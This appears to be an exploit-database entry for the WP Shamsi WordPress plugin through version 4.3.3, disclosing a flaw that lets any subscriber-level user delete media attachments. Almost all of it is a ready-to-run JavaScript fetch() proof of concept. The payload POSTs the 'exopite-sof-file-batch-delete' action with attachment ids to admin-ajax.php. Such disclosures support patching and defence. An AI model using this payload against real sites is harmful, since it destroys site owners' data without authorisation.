WP Shamsi <= 4.3.3 - Subscriber+ Attachment Deletion

Exploit (#1 attachment id delete):

fetch('http://localhost/wp-admin/admin-ajax.php', {
        method: 'POST',
        headers: new Headers({
            'Content-Type': 'application/x-www-form-urlencoded',
        }),
        body: 'action=exopite-sof-file-batch-delete&media-ids%5B%5D=1&media-ids%5B%5D=1',
        redirect: 'follow'
    }).then(response => response.text()).then(result => console.log(result)).catch(error => console.log('error', error));